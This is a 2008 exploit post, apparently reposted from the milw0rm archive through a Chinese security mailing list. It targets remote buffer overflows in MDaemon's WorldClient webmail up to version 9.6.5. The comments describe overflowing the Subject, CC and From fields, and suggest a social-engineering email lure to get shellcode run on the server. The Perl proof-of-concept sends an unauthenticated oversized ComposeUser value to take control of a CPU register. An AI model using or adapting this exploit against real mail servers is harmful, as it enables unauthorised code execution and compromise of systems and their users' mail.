MDaemon v9.6.5 Multiple Remote Buffer Overflow

以下消息来自幻影论坛[Ph4nt0m]邮件组

############################################################################
# MDaemon <== v9.6.5 Multiple Remote Buffer Overflow
#
# Vendor Site: [url]http://altn.com[/url]
#
# Risk : Highly Critical
# hehe funny bugs here .. the worldclient use the port 3000 for a webmail
like (it use also an admin webmail
# located at
# port 1000 [by default both are opened])
# this file unfortunatly contain multiple buffer overflows , If you send a
message to a user ( or postmaster ? :] )
# with a subject composed of 8194 A ( like : " Do your incomming taxes
online this year, it's safe and fast,just reply with
# the supplied incomming form...8100 A " from [email][email protected][/email] etc )
# if the user click "answer" to the message , eip get owned
# the CC & From field is vulnerable too .
#
# This kind of bug is pretty nasty, because the client doesn't get owned ,
but postmaster yes. so if you have an account
# on a host providing MDaemon services ,
# you can send a mail to yourself and get some shellcode executed on the
server.
# if you dont ... just have a look on google,you'll find out
#
#
# this poc is another bug, actually it shouldn't work, because we dont have
any cookie & session ,but it give a full control
# over EDX without any auth, dont ask why, it's like this only for this
variable [ComposeUser] =)
#
# Greetz to : French/Quebec security community & [url]http://spiritofhack.net[/url] .
# ungreetz to : they'll reconize them =)
#
# Ps: actually this audit is NOT finished ... there might be some other
remote bugs/advisory , i just dont have time for
# this at the moment, i recommend to the ones who want to do it , to look at
Webclient.exe & Webadmin.exe , there's
# some funny stuff in there hehe .
 
use LWP::UserAgent;
$connect = LWP::UserAgent->new;
my $payload1 ="a" x 60;
my $payload2 ="b" x 20;
my $host = ' [url]http://127.0.0.1:3000/[/url]';
 
my $req = HTTP::Request->new(POST =>
$host.'WorldClient.dll?Session=&View=Compose&ComposeInNewWindow=Yes&ChangeVi
ew=No&SendNow=Yes');
$req->content_type('application/x-www-form-urlencoded');
$req->content('ComposeUser='.$payload2.$payload1.'%40localhost&&ComposeID=1&
Attn=&Company=&From=0&Reply-To=&To=%22admin+bla%22+%3Cadmin%40localhost%3E%2
C+&CC=YO&BCC=&Subject=hey&Body=yo%21&');
my $res = $connect->request($req);
print $res->as_string;
 
# "If in time like these you can talk about individual freedom, you're
probably a terrorist"
 
# milw0rm.com [2008-06-02]